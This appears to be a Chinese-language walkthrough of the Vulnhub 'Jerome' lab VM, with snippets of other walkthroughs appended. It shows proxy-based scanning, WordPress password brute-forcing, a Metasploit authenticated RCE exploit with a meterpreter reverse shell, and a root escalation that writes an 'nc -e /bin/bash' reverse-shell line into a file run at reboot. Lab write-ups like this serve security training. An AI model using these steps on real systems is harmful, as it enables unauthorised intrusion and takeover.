Jerome: Vulnhub Walkthrough

nmap 扫描探测:

╰─ nmap -p1-65535 -sV -A -O -sT 10.10.202.135
Starting Nmap 7.70 ( https://nmap.org ) at 2019-07-31 10:15 CST
Nmap scan report for 10.10.202.135
Host is up (0.00091s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE VERSION
8080/tcp open http-proxy Squid http proxy 3.5.27
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: squid/3.5.27
|_http-title: ERROR: The requested URL could not be retrieved
MAC Address: 00:0C:29:75:E4:B1 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

先尝试搜索squid漏洞库

╰─ searchsploit squid

此示例的squid的版本为:<p>Generated Wed, 31 Jul 2019 02:34:31 GMT by jerome (squid/3.5.27)</p>

既然是代理服务器,我们只能设置代理,进行目录爆破

╰─ dirb http://127.0.0.1 -p 10.10.202.135:8080

---- Scanning URL: http://127.0.0.1/ ----
+ http://127.0.0.1/index.html (CODE:200|SIZE:19)
+ http://127.0.0.1/server-status (CODE:200|SIZE:4021)

访问:http://127.0.0.1/server-status

多次刷新会发现:

1337端口开放 看到是wp的程序,进行目录枚举一下

╰─ dirb http://127.0.0.1:1337/ -p 10.10.202.135:8080

进行插件漏洞扫描,并枚举用户密码:

╰─ wpscan -u http://127.0.0.1:1337/wordpress/ --proxy 10.10.202.135:8080 -e u vp

[!] The WordPress ‘http://127.0.0.1:1337/wordpress/readme.html‘ file exists exposing a version number
[+] Interesting header: LINK: <http://localhost:1337/wordpress/index.php/wp-json/>; rel="https://api.w.org/"
[+] Interesting header: SERVER: Apache/2.4.29 (Ubuntu)
[+] Interesting header: VIA: 1.1 jerome (squid/3.5.27)
[+] Interesting header: X-CACHE: MISS from jerome
[+] Interesting header: X-CACHE-LOOKUP: HIT from jerome:8080
[+] XML-RPC Interface available under: http://127.0.0.1:1337/wordpress/xmlrpc.php
[!] Upload directory has directory listing enabled: http://127.0.0.1:1337/wordpress/wp-content/uploads/
[!] Includes directory has directory listing enabled: http://127.0.0.1:1337/wordpress/wp-includes/

[+] WordPress version 5.0 (Released on 2018-12-06) identified from links opml, meta generator
[!] 9 vulnerabilities identified from the version number

.......

[+] Enumerating plugins from passive detection ...
[+] No plugins found

[+] Enumerating usernames ...
[+] Identified the following 2 user/s:
+----+--------+--------+
| Id | Login | Name |
+----+--------+--------+
| 1 | root | root |
| 4 | jerome | jerome |
+----+--------+--------+

[+] Finished: Wed Jul 31 14:39:16 2019
[+] Requests Done: 644
[+] Memory used: 38.043 MB
[+] Elapsed time: 00:00:04

尝试用户密码爆破下

╰─ wpscan -u http://127.0.0.1:1337/wordpress/ --proxy 10.10.202.135:8080 -e u --wordlist /opt/SecLists/Passwords/Common-Credentials/10-million-password-list-top-10000.txt

login: jerome and password: jerome

登录后台寻找上传点

尝试上传.php3 .php5 .php.xxx .php%00.jpg 未果

回到最新的漏洞探测选择一个RCE来试试:

[!] Title: WordPress 3.7-5.0 (except 4.9.9) - Authenticated Code Execution
Reference: https://wpvulndb.com/vulnerabilities/9222
Reference: https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/
Reference: https://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce
Reference: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8942
[i] Fixed in: 5.0.1

https://www.rapid7.com/db/modules/exploit/multi/http/wp_crop_rce

# apt update; apt install metasploit-framework

msf5 > use exploit/multi/http/wp_crop_rce

msf5 exploit(multi/http/wp_crop_rce) > show options

Module options (exploit/multi/http/wp_crop_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD jerome yes The WordPress password to authenticate with
Proxies http:10.10.202.135:8080 no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 127.0.0.1 yes The target address range or CIDR identifier
RPORT 1337 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /wordpress yes The base path to the wordpress application
USERNAME jerome yes The WordPress username to authenticate with
VHOST no HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 10.10.202.133 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port

Exploit target:

Id Name
-- ----
0 WordPress

进行提权操作:

重启root执行此文件,我们看下文件脚本的内容

每次开启重启,都会执行Jerome目录下的ls文件,当前用户的家目录,尝试把shell写进ls文件中

[email protected]:/var/www/html/wordpress$ cd /home/jerome
cd /home/jerome
[email protected]:/home/jerome$ echo "nc -e /bin/bash 10.10.202.133 1234" >> ls
echo "nc -e /bin/bash 10.10.202.133 1234" >> ls
[email protected]:/home/jerome$ chmod 777 ls

本地监听1234,等待下次重启,获取root权限

原文地址:https://www.cnblogs.com/hack404/p/11277207.html

时间: 2024-10-11 17:22:01

Jerome: Vulnhub Walkthrough的相关文章

Sunset: Nightfall Vulnhub Walkthrough

靶机链接: https://www.vulnhub.com/entry/sunset-nightfall,355/ 主机扫描: ╰─ nmap -p- -A 10.10.202.162Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-09 14:23 CSTNmap scan report for 10.10.202.162Host is up (0.0013s latency).Not shown: 65529 closed portsPOR

HA: Chakravyuh Vulnhub Walkthrough

靶机链接: https://www.vulnhub.com/entry/ha-chakravyuh,388/ 主机探测扫描: 端口扫描: ╰─ nmap -p- -sC -sV 10.10.202.131 FTP 匿名访问 下载压缩文件,解压缩需要密码,基本套路一直,需要密码,接下来就是找解压密码的事情了 目录枚举下 phpmyadmin 尝试弱口令密码爆破未果 phpmyadmin 版本为4.6.6 无RCE之类的漏洞 那么尝试爆破下载的7z格式的压缩包文件 这里使用的工具: https://

Happycorp:1 Vulnhub Walkthrough

靶机链接: https://www.vulnhub.com/entry/happycorp-1,296/ 网络主机扫描::: 主机端口扫描: NFS文件系统,尝试挂载试试 mount -t nfs 10.10.202.135:/home/karl /mnt 提示没权限打开.这里暂时放一放,看看HTTP方面,有个admin.php后台能不能上传,拿shell web页面收集用户信息: heather 提示密码错误carolyn 账户不存在rodney  账户不存在jennifer 账户不存在 存在

HA: Chanakya Vulnhub Walkthrough

靶机链接: https://www.vulnhub.com/entry/ha-chanakya,395/ 网络主机探测: 主机端口扫描: nmap -p- -sC -sV 10.10.202.136 FTP 有认证 HTTP目录枚举(dirb和dirsearch 多种工具使用枚举) dirb http://10.10.202.136 -X .php,.txt,.html,.xml,.yml,.json ---- Scanning URL: http://10.10.202.136/ ----+

HA: Dhanush Vulnhub Walkthrough

靶机下载链接: https://www.vulnhub.com/entry/ha-dhanush,396/ 主机扫描: 主机端口扫描: HTTP目录爬取 使用dirb dirsearch 爬取均未发现可利用的目录 另外看到ssh端口开启了,进行网页爬取字典生成进行爆破 cewl http://10.10.202.147 -w dict.txt ╰─ hydra -L dict.txt 10.10.202.147 ssh -s 65345 -e nsr 尝试复制passwd文件提示无权限,用户sa

Ted:1 Vulnhub Walkthrough

主机层面端口扫描: ╰─ nmap -p1-65535 -sV -A 10.10.202.134 Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-09 11:11 CSTNmap scan report for 10.10.202.134Host is up (0.00075s latency).Not shown: 65534 closed portsPORT STATE SERVICE VERSION80/tcp open http Ap

digitalworld.local:Torment Vulnhub Walkthrough

主机层面扫描: ╰─ nmap -p1-65535 -sV -A 10.10.202.135Starting Nmap 7.70 ( https://nmap.org ) at 2019-08-09 14:58 CSTNmap scan report for 10.10.202.135Host is up (0.0012s latency).Not shown: 65516 closed portsPORT STATE SERVICE VERSION21/tcp open ftp vsftpd

AI:WEB:1 Walkthrough

AI: Web: 1 Vulnhub Walkthrough靶机下载:https://www.vulnhub.com/entry/ai-web-1,353/测试方法:    Nmap网络扫描    浏览网页    爆破目录    SQL注入获取凭证    SQL注入获取shell    可写/etc/passwd 提权    读取falg文件 靶机和攻击机处于统一网段下 所以就不用netdiscover扫描了靶机IP:192.168.123.211攻击机IP:192.168.123.30 主机发

vulnhub~MyExpense

最近有点忙,这几天的vulnhub断更了,今天试着做了一下myexpense,当然想要一帆风顺是不可能的,哪怕是有别人的steps 和walkthrough.所以就遇到的坑总结如下: 一般套路就是nmap上手 dirsearch 发现/admin/admin.php ,访问后得到如下所示: 然后如别人所言,成功的利用xss(store),but file_put_contents()无法创建文件,这就尴尬啦.session 就无从获取了,最终发现是/var/www/html目录没有写的权限给其他